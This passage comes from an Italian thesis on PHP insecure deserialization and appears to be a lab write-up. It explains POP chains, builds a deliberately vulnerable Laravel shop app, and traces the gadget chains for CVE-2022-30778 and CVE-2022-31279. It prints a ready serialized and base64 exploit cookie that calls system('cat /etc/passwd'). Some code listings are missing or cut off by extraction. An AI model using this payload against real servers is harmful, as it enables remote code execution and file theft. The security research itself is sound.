in tal modo un comportamento inaspettato. L’ esempio più banale di ciò avviene nei
videogiochi quando si manipolano i file di salvataggio manualmente per acquisire
progresso o per continuare una partita su un altro dispositivo, nella maggior parte
dei casi il gioco si preoccupa solamente di ripristinare lo stato salvato all’ interno di
un file in una posizione nota e con un certo nome. La sostituzione o la modifica del
file realizzano un comportamento che dal punto di vista del software è totalmente
trasparente, ma dal punto di vista degli sviluppatori (sebbene innocuo) è spesso non
voluto.

3.2.3    Le POP chain
     Una POP chain è una vulnerabilità di insecure deserializzation tipica del PHP
che sfrutta particolari accorgimenti per bypassare le difese più comuni contro la ID.
Prima di spiegare quali sono questi accorgimenti dobbiamo prima chiarire come
avviene il processo di serializzazione/deserializzazione nel linguaggio che ci inte-
ressa, ossia il PHP. Esistono varie funzioni che intervengono in questo processo, di
cui le 2 più importanti sono la serialize() e la unserialize(). Come è facile capire
dal nome, la serialize() restituisce la forma serializzata di un oggetto, mentre la
unserialize crea un oggetto a partire da una stringa contenente l’ oggetto serializ-
zato. Al momento dell’ esecuzione della unserialize() viene eseguita la funzione
__wakeup() propria della classe di quell’ oggetto. __wakeup() è una funzione che
viene eseguita automaticamente al termine della deserializzazione al fine di ripri-
stinare il corretto funzionamento dell’ oggetto dopo la seriallizzazione, (uno degli
usi standard di __wakeup() è ripristinare la connessione a un database). A differenza
delle altre due, __wakeup() è una funzione overridable ossia è stata fatta per defi-
nirne un comportamento ad hoc a seconda della classe, questo torna molto utile
agli sviluppatori di un framework come Laravel perchè permette di definire una
procedura di deserializzazione specifica per ogni classe che ne ha bisogno. In una
POP chain l’ attaccante non fa altro che sfruttare i magic methods di una classe base
tramite la manipolazione delle proprietà dell’ oggetto serializzato e di eventuali
oggetti annidati, 1 per ottenere esecuzione di codice a piacimento, proprio per questo
è l’ acronimo di Property Oriented Programming. Affinchè la POP chain sussista è
  1i  magic methods sono i metodi riservati dal linguaggio PHP per essere overridati, __wakeup()
ne è un esempio, ma ve ne sono altri molto usati come __destruct() .
§3.2 − Ricerca sulla vulnerabilità                                             16

necessario però che all’ attivazione di un magic method vengano chiamati metodi di
altri oggetti che l’ attaccante possa manipolare, facciamo un esempio:
§3.2 − Ricerca sulla vulnerabilità                                                17

class Example{

    private $obj;

    function __construct()
    {
       // some PHP code...
    }

    function __wakeup()
    {
       if (isset($this->obj)) return $this->obj->evaluate();
    }
}

class CodeSnippet{

    private $code;

    function evaluate()
    {
       eval($this->code);
    }
}
//...altro codice...

$user_data = unserialize($_POST[’data’]);

In questo caso la classe example ha un attributo privato e possiede un’ implemen-
tazione di __wakeup() mentre la classe CodeSnippet possiede un’ attributo privato
"$code" e una funzione che esegue il contenuto di $code. Dopo la definizione delle
classi c’ è il codice contenente le istruzioni del programma in cui vediamo che c’ è
una deserializzazione di dati passati in una richiesta POST. La POP chain si potrebbe
quindi scrivere in questo modo:

class CodeSnippet
    {
        private $code = "phpinfo();";
    }

class Example
{
   private $obj;

    function __construct()
    {
       $this->obj = new CodeSnippet;
    }
§3.3 − Costruzione laboratorio virtuale                                                18

}

print urlencode(serialize(new Example));

Analizziamo il funzionamento di questo exploit; prima di tutto notiamo che vengono
definite le stesse classi della "codebase" ma con alcune differenze:

    • nella classe Example è stato sovrascritto il metodo __construct()

    • nella classe CodeSnippet viene dato un valore di default alla proprietà $code

Il funzionamento quindi è il seguente: viene creato un nuovo oggetto Example il
quale contiene nell’ attributo $obj un CodeSnippet, la cui proprietà $code avrà valore
"phpinfo();" che è il nome di una funzione PHP usata per stampare verbosamente
tutte le caratteristiche dell’ ambiente PHP utilizzato. Successivamente l’ oggetto
Example creato viene serializzato; codificato in maniera tale da poter essere scritto in
un URL e infine stampato. Se a questo punto l’ attaccante provasse a inviare tramite
POST la stringa ottenuta questa verrebbe prima deserializzata e successivamente ver-
rebbe invocato il metodo __wakeup() della classe Example. Questo metodo wakeup
controlla se esiste la proprietà $obj dell’ oggetto e in tal caso ritorna il risultato del
metodo evaluate() di $obj, dato che $obj fa parte della classe CodeSnippet possiede
un metodo evaluate(), e di conseguenza viene chiamata la funzione eval( \$this
->code ) che esegue quindi il contenuto della stringa $code fornita dall’ attaccante.
La caratteristica distintiva di una POP chain è quindi quella di sfruttare metodi
della codebase dell’ applicazione bersaglio per attuare esecuzione remota di codice
arbitrario.

3.3     Costruzione laboratorio virtuale
    Andiamo adesso a trattare la realizzazione di un laboratorio virtuale in cui poter
testare CVE-2022-31279 e CVE-2022-30778. Data la natura delle vulnerabilità in que-
stione possiamo costruire un solo laboratorio in cui poterle testare entrambe poichè
sono entrambe vulnerabilità che colpiscono la versione 9.8.1 di Laravel framework.
Sappiamo che dobbiamo testare una vulnerabilità web, ciò significa che dovremo
necessariamente disporre di:

    • un server web

    • un client web

    • una rete a cui connettere il client e il server

Esistono molte possibili realizzazioni di un laboratorio così composto, anche perchè
non abbiamo vincoli particolari per quanto riguarda la velocità di connessione o la
potenza di calcolo dei sistemi. Per motivi economici e di facilità di dispiegamento
abbiamo optato infine per questo setup:
§3.3 − Costruzione laboratorio virtuale                                                                   19

3.3.1       La rete
    La connessione tra client e server è stata realizzata tramite un servizio di vpn
gratuito chiamato Tailscale, questo offre la possibilità di connettere i propri dispo-
sitivi personali in una virtual private network basata sul protocollo Wireguard con
autenticazione effettuata tramite OAuth2. Per connettersi alla propria vpn bisogna
scaricare il client tailscale sul dispositivo e effettaure l’ accesso al proprio account di
google ottenendo in questo modo accesso alla vpn. La scelta di utilizzare una vpn
è stata per porter operare su una rete "minimale" senza meccanismi di proxy e per
permettere connessione tra client e server da remoto senza la necessità di ricorrere a
NAT o indirizzi ip pubblici.

3.3.2       Il client
     La scelta del client è quella meno influente nel testing della vulnerabilità, questo
perchè stiamo parlando di una vulnerabilità web lato server rispetto alla quale non
sono di alcuna rilevanza l’ architettura del client, il suo sistema operativo o addirittura
il tipo di web client utilizzato, sia esso un browser o una utility da terminale. Come
client quindi useremo un normale PC con sistema operativo Windows e come browser
Google Chrome.

3.3.3       Il server
    Il web server invece è la parte del nostro sistema che richiede più accortezze,
questo perchè dobbiamo utilizzare una specifica versione di Laravel, che a sua volta ci
darà dei vincoli sulla versione di PHP e di composer da utilizzare. Il server utilizzato
è una macchina virtuale realizzata con l’ hypervisor open source virtualbox, con
architettura x86 e sistema operativo Debian con kernel linux 5.10.0 2 . Su questo server
abbiamo quindi installato un web server Apache 2.4.54 che utilizza PHP alla versione
8.0.21 e il package manager composer2. Quindi sono state creati due progetti in cui
testare rispettivamente la prima e la seconda vulnerabilità in questo modo:

          cd /var/www/html
          composer create-project laravel/laravel lab1
          cd lab1
          rm -r /vendor composer.lock

Una volta eliminato il file di lock di composer bisogna modificare le specifiche di
default nel composer.json, in questo caso dobbiamo modificare la versione desiderata
di laravel/framework e di laravel/sanctum ottenendo una sitauzione del genere:

   2 lascelta dell’ architettura e del sistema operativo in questo caso non è rilevante ai fini dell’ attacco,
tuttavia abbiamo tentato di riprodurre uno scenario verosimilmente usato in ambito commerciale.
Inoltre l’ uso di una distribuzione linux con dei repository molto forniti come quelli di debian ha reso
più agevole il processo di installazione dei software
§3.3 − Costruzione laboratorio virtuale                                                 20

                      Figura 3.2: Prime righe del file composer.json

   a questo punto possiamo eseguire

     composer update

e avremo installato correttamente il progetto Laravel.

3.3.4   La web application
     Andiamo quindi a sviluppare la nostra web app vulnerabile. Supponiamo che si
tratti di un sito che vende vestiti online, e che ci sia un sistema di impostazione delle
preferenze nel sito basato sui cookie. Al primo accesso al sito l’ utente seleziona le sue
preferenze nella visualizzazione del sito (tema della pagina, ordine di visualizzazione
dei risultati, etc ...) e invia le sue preferenze tramite un form html in una richiesta
POST al server, questo riinvia la pagina con le impostazioni selezionate e allega alla
risposta un cookie, questo cookie è un oggetto serializzato contente le preferenze
selezionate dall’ utente. Nei prossimi accessi, il browser dell’ utente riinvierà il cookie
e il sistema saprà quali impostazioni utilizzare. È importante specificare da subito che
questo NON è un metodo corretto di implementare questa funzione, questo perchè
in generale espone il server al rischio di processare dati provenienti dall’ utente in
maniera incontrollata, (i cookie sono modificabili dal client), due approcci migliori
sarebbero il salvataggio dell’ informazione su DB o l’ uso di cookie criptati/firmati.
Il seguente sequence diagram spiega meglio l’ interazione client server:
§3.3 − Costruzione laboratorio virtuale                                              21

                 Figura 3.3: Diagramma delle sequenze dell’ interazione

   La nostra web app Laravel sarà la più semplice possibile, in quanto per testare la
vulnerabilità dovremo implementare solo queste componenti:
   • Un controller che gestirà la logica lato server della visualizzazione della home-
     page e la gestione del cookie per le preferenze

   • Un model che rappresenterà le nostre impostazioni sito

   • una o più view per la homepage

La view
     La realizzazione della view non è di importanza rilevante ai fini del nostro test,
tuttavia è stata realizzata per sembrare la home page di un negozio online. A sinistra
all’ interno di una navbar è stato creato un piccolo form a tendina con all’ interno dei
radio button per la selezione delle preferenze, le quali vengono inoltrate al server
tramite richiesta POST al click sul bottone di submit "Modifica preferenze".

Il controller
    Un controller Laravel è una sottoclasse della classe \App\Http\Controllers\Controller,
Il nostro controller quindi sarà la classe OnlyController che estende Controller. All’
interno abbiamo definito 2 action (metodi publici), getHome, è il metodo che ci
permette di visualizzare la home in risposta alla richiesta GET /home, mentre set-
Preferences è il metodo attivato da POST /home ossia la richiesta HTTP che avviene
§3.3 − Costruzione laboratorio virtuale                                              22

              Figura 3.4: Screenshot della homepage (/lab1/public/home)

quando l’ utente sottomette il form delle preferenze, e in risposta visualizza anch’
esso la home ma impostando anche il cookie. Nello specifico setPreferences estrae i
dati del form contenuti nella richiesta POST , crea e serializza un oggetto di classe
Preferences e lo allega alla Response, in seguito restituisce la view corripondente alle
preferenze ricevute.
§3.3 − Costruzione laboratorio virtuale                    23

   Questo è il file OnlyController.php:
§3.3 − Costruzione laboratorio virtuale                                                24

}
//EOF

Si noti che nella fase di generazione del cookie una volta serializzato l’ oggetto, questo
viene poi codificato in base64, e nella fase di ritiro viene prima decodificato dalla
suddetta base e poi deserializzato. La base64 è un meccanismo di codifica di byte
in caratteri del codice ascii, viene usata perchè ha il vantaggio di mappare i byte a
gruppi di 6 bit in caratteri ascii stampabili e quasi universalmente accettati, è molto
usata quindi nel web per trasmettere dati binari in una codifica interpretabile da tutti
i browser e compatibile con gli URL.

Il Model
    Il model della nostra applicazione invece sarà rappresentato dalla classe Preferen-
ze. In questo caso l’ unica utilità del model è la rappresentazione dei dati in una forma
facilmente utilizzabile, quindi non abbiamo necessità di creare metodi particolari o
utilizzare connessioni con un database. Abbiamo quindi un model del genere:
§3.4 − Costruzione payload malevolo                                                   25

3.4     Costruzione payload malevolo
    Da qui in poi inizieremo la discussione della fase offensiva del test, e per far
ciò bisogna prima analizzare più a fondo il meccanismo di azione delle nostre due
vulnerabilità.

3.4.1   CVE-2022-30778
    Iniziamo da quella (di poco) meno recente ossia CVE-2022-30778. Come abbiamo
già detto in precedenza entrambe sono delle vulnerabilità di tipo POP chain, nel caso
di CVE-2022-30778 la sequenza vulnerabile inizia con l’ utilizzo di unserialize() sul
nostro oggetto malevolo. Nella classe \Illuminate\Broadcasting\PendingBroadcast
è definito il metodo __destruct() che viene attivato al momento della distruzione
dell’ oggetto da parte del garbage collector:

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

questo tenta di chiamare il metodo dispatch del suo attributo attributo "events" con
argomento $this->event. Il secondo anello della nostra POP chain sarà quindi una
classe che possiede un metodo dispatch, in questo caso \Illuminate\Bus\Dispatcher
fa al caso nostro,

public function dispatch($command){
    return $this->queueResolver && $this->commandShouldBeQueued($comma
    ? $this->dispatchToQueue($command)
    : $this->dispatchNow($command);
      }

il metodo dispatch di Dispatcher controlla se l’ attributo queueResolver è stato valoriz-
zato e se il comando passatogli $command è un istanza dell’ interfaccia ShouldQueue,
se entrambe le condizioni sono vere e in tal caso usa il metodo dispatchToQueue(). En-
trambe le condizioni possiamo manipolarle direttamente quindi diamo per assunto
che venga eseguito il metodo dispatchToQueue:

public function dispatchToQueue($command)
     {
         $connection = $command->connection ?? null;

             $queue = call_user_func($this->queueResolver, $connection);

per prima cosa viene controllata la presenza dell’ attributo $comand->connection, se
non esiste viene impostato a NULL, altrimenti viene lasciato tale, e alla fine della no-
stra catena arriva la call_user_func($this->queueResolver,$connection). Questa
§3.4 − Costruzione payload malevolo                                                 26

è una funzione molto utilizzata negli attacchi di questo tipo perchè permette l’ esecu-
zione di una funzione arbitraria con argomento passatogli nel secondo parametro.
Quindi in questo caso eseguirà $this->queueResolver con argomento $connection,
e qua abbiamo la nostra esecuzione remota di codice; il nostro exploit sarà quindi
un oggetto serializzato di classe PendingBroadcast di cui andremo a controllare le
proprietà "event" ed "events", PendingBroadcast->events sarà un oggetto di classe
Dispatcher, mentre PendingBroadcast->event sarà una classe che deve possedere
queste caratteristiche:

   • deve possedere un attributo chiamato "connection"

   • deve implementare l’ interfaccia ShouldQueue

Nel nostro caso \Illuminate\Broadcasting\BroadcastEvent soddisfa queste caratteri-
stiche. Questo quindi è il diagramma delle classi del nostro exploit:

                Figura 3.5: Diagramma delle classi coinvolte nell’ exploit
§3.4 − Costruzione payload malevolo                                           27

        e questa sarà la struttura dello script per generare il cookie malevolo:
1
§3.4 − Costruzione payload malevolo                                                   28

52   ?>
     il risultato che si ottiene dall’ esecuzione di questo script è l’ oggetto serializzato e
     poi convertito in base64:
     O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:
     25:"Illuminate\Bus\Dispatcher":5:{s:12:"*container";N;s:11:"*pipeli
     ne";N;s:8:"*pipes";a:0:{}s:11:"*handlers";a:0:{}s:16:"*queueResolve
     r";s:6:"system";}s:8:"*event";O:38:"Illuminate\Broadcasting\Broadca
     stEvent":1:{s:10:"connection";s:15:"cat /etc/passwd";}}

     Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp
     7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOj
     U6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6I
     gAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoA
     cXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJ
     JbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY2
     9ubmVjdGlvbiI7czoxNToiY2F0IC9ldGMvcGFzc3dkIjt9fQ==
     In questo caso il nostro exploit è la stringa in base64, poichè come possiamo vedere
     anche nel codice della web app, il cookie deve prima essere decodificato e poi
     deserializzato

     3.4.2    CVE-2022-31279
        CVE-2022-31279 è sotto alcuni aspetti una vulnerabilità "sorella" di CVE-2022-
     30778 come stiamo per vedere entrambe utilizzano la classe \Illuminate\Broadcasting
        \PendingBroadcast ed entrambe sfruttano la deserializzazione di un oggetto da
     noi fabbricato, tuttavia lavorano in modi sostanzialmente diversi. CVE-2022-31279
     nasce dall’ osservazione che la classe Generator del package Faker può essere usata
     come sostituto del nostro Dispatcher, in quanto possiede il magic method __call(),
     quest’ ultimo è un metodo molto particolare, poichè permette di reindirizzare la
     chiamata di un metodo che non fa parte della classe:
             public function __call($method, $attributes)
             {
                 return $this->format($method, $attributes);
             }

     quindi se avessimo un oggetto $a di classe Generator e provassimo a chiamare
1    \$a->dispatch($attributes)
     il risultato sarebbe:
1    $a->format("dispatch",$attributes)
     a sua volta la funzione format() è così definita:
1           public function format($format, $arguments = [])
2           {
3               return call_user_func_array($this->getFormatter($format),
          $arguments);
4           }
§3.4 − Costruzione payload malevolo                                                  29

     la sintassi è molto annidata ma possiamo subito notare che viene eseguita la
     call_user_func_array che è sostanzialmente una variante della sopracitata call_user_func
      che permette di passare come argomento un array di argomenti, questo è un ottimo
     suggeriento di quello che può avvenire. La funzione chiamata quindi sarà il risul-
     tato del metodo $this->getFormatter($format) e gli argomenti passati saranno in
     $arguments, andiamo quindi a esaminare cosa restituisce getFormatter:
1    public function getFormatter($format)
2         {
3             if (isset($this->formatters[$format])) {
4                 return $this->formatters[$format];
5             }
6
7                 if (method_exists($this, $format)) {
8                     $this->formatters[$format] = [$this, $format];
9                     return $this->formatters[$format];
10                }

     getFormatter($format)    controlla se esiste un "formattatore" corrispondente a $for-
     mat in $this->formatters, in tal caso lo restituisce, altrimenti se esiste un meto-
     do con questo nome definito in $this (Generator) lo aggiunge ai "formatters" e
     poi lo restituisce. In sostanza se troviamo il modo di controllare i parametri di
     call_user_func_array abbiamo la nostra RCE3 . Possiamo quindi usare lo stesso
     trucco della prima vulnerabilità e inserire un oggetto di tipo Generator in un Pen-
     dingBroadcast che verrà distrutto e proverà a chiamare il metodo dispatch() di
     Generator, questo attiverà la __call() che chiamerà a sua volta la format(), la quale
     proverà a trovare un formatter associato al metodo da noi passato, dato che Pending-
     Broadcast proverà a chiamare Generator->dispatch dobbiamo porre il formatter del
     Generator = "dispatch". Il diagramma UML ci aiuta a capire meglio l’ interazione di
     tutte queste classi:
         Se riuscissimo quindi a impostare nell’ array "formatters" di Generator una fun-
     zione corrispondente a "dispatch" avremmo completato il nostro exploit, c’ è però un
     problema, in Generator è definito anche un metodo __wakeup():
1          public function __wakeup()
2          {
3              $this->formatters = [];
4          }

     Purtroppo (per noi) il metodo __wakeup() svuota l’ array corrente dei formatters,
     quindi se noi creassimo semplicemente l’ oggetto PendingBroadcast con dentro il
     nostro Generator anche impostando formatters questo verrebbe prima svuotato, e
     di conseguenza all’ attivazione della getFormatter non verrebbe restituito niente,
     bisogna trovare quindi un’ altra strada. Si deve tenere presente tuttavia che stiamo la-
     vorando con oggetti serializzati, soffermiamoci quindi un attimo sulla serializzazione
     PHP:

     La notazione
         PHP possiede un formato di serializzazione sostanzialmente diverso dagli altri
     linguaggi, solitamente infatti un oggetto viene rappresentato in forma binaria, ossia
       3 Remote   Code Execution
Puoi anche leggere